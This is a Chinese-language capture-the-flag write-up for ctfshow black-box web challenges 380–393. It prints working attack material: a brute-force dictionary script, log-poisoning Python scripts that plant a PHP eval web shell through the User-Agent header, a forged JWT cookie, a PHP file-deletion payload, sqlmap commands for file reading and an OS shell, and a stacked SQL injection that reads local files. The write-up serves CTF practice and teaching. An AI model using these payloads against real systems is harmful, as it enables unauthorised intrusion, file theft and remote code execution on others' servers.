CTFSHOW黑盒测试篇

文章目录

web380

payload
后台目录扫描发现page.php,什么,没有扫到,那就自己添加到扫描器的字典里吧。
page.php?id=flag

web381

payload
CTFSHOW黑盒测试篇
地址在源码里面
CTFSHOW黑盒测试篇

web382、383

还是上面的地址,万能密码登录得到flag
CTFSHOW黑盒测试篇

web384

字典生成

import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
	for j in s1:
		for k in s2:
			for l in s2:
				for m in s2:
					p=i+j+k+l+m
					f.write(p+"\n")
f.close()

登录的时候抓包爆破
CTFSHOW黑盒测试篇
CTFSHOW黑盒测试篇
几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下
payload admin xy123

web385

扫描后台得到/install
CTFSHOW黑盒测试篇
按照他说的访问install/?install
然后再去登录,如果大家上面题目用sql注入注出用户名密码会发现是admin admin888
登录就能得到flag了

web386

通过扫描后台发现clear.php和install
访问install
CTFSHOW黑盒测试篇
访问clear.php直接显示清理完成
盲猜一波file参数,删个index.php试试

CTFSHOW黑盒测试篇
哎呦还真可以
CTFSHOW黑盒测试篇
那直接把lock.dat删了,lock.dat在linstall下
CTFSHOW黑盒测试篇
剩下的就是上一题的重复了。
访问install/?install初始化账号密码
然后admin admin888登录

web387

接着扫描后台发现/debug,访问提示file not exit,那我们给他一个参数
CTFSHOW黑盒测试篇
存在文件包含,尝试包含日志,发现可以成功file=/var/log/nginx/access.log
CTFSHOW黑盒测试篇
那直接在UA里面写一句话就可以了,然后再包含日志
CTFSHOW黑盒测试篇
发现没成功,但是在源码里面看到如下内容,也就是传的参数没有被结束
CTFSHOW黑盒测试篇
那我们直接利用php吧dat文件删除是不是就可以了。
写入如下内容

<?php unlink('/var/www/html/install/lock.dat')?>

然后再去访问install/?install,发现确实成功了。
CTFSHOW黑盒测试篇
剩下的就是登录拿flag了。。

388

非预期解,可以写日志但是做了一些限制,所以绕过就好了。
payload:

import requests
import base64
url="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/"
url2="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
	'User-Agent':'''<?php system('echo {0}|base64 -d  > /var/www/html/b.php');?>'''.format(cmd)
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'}).text)

预期解参考视频https://www.bilibili.com/video/BV16A411W7GP

web389

在上题的基础上整了个jwt伪造
类似于web377 https://blog.csdn.net/miuzzx/article/details/111936737
然后将得到的jwt串放到脚本中

import requests
import base64
url="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/"
url2="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
	'User-Agent':'''<?php system('echo {0}|base64 -d  > /var/www/html/b.php');?>'''.format(cmd),
	'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQ0MDA5MSwiZXhwIjoxNjEwNDQ3MjkxLCJuYmYiOjE2MTA0NDAwOTEsInN1YiI6ImFkbWluIiwianRpIjoiYzNlM2U5NjQ4OGI3NWY0MzY4YmE4Njg0ZTRjZWJlZTQifQ.hEV8CkkdvhKsNL_OrssrBzjzstVhq7_sQNefiuplSqU'
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2,headers=headers)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'},headers=headers).text)

web390

在page.php页面存在sql注入
sqlmap一句话搞定
python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch
运行完会将文件保存在你的本地,直接访问就拿到flag
CTFSHOW黑盒测试篇

web391

注入点不在page.php了,在输入标题的地方(随便点个页面就能看到)
CTFSHOW黑盒测试篇
继续sqlmap
python sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch

web392

flag在/flag
python sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell
CTFSHOW黑盒测试篇
CTFSHOW黑盒测试篇

web393

还是先用原来的方法直接进到shell里面,发下不行,读文件也不行,然后试了下–sql-shell可以成功。
但是也是无法使用load_file 和outfile。那我们看下和上个题的界面有哪些不同。
在最后面发现有个搜索引擎
CTFSHOW黑盒测试篇
随便访问一个发现其实是读取的百度的前端代码。那么如果把地址改成file:///flag,或者自己再添加一个url是不是就可以了。
先利用sqlmap跑出来数据库的表名列名
CTFSHOW黑盒测试篇
CTFSHOW黑盒测试篇
payload:
search.php?title=1';insert into link values(10,'a','file:///flag');(在search.php页面存在堆叠注入)
然后访问link.php?id=10就能得到flag

上一篇:CTFshow--WEB入门(持续更新)


下一篇:Ctfshow Web入门 - PHP特性(待续)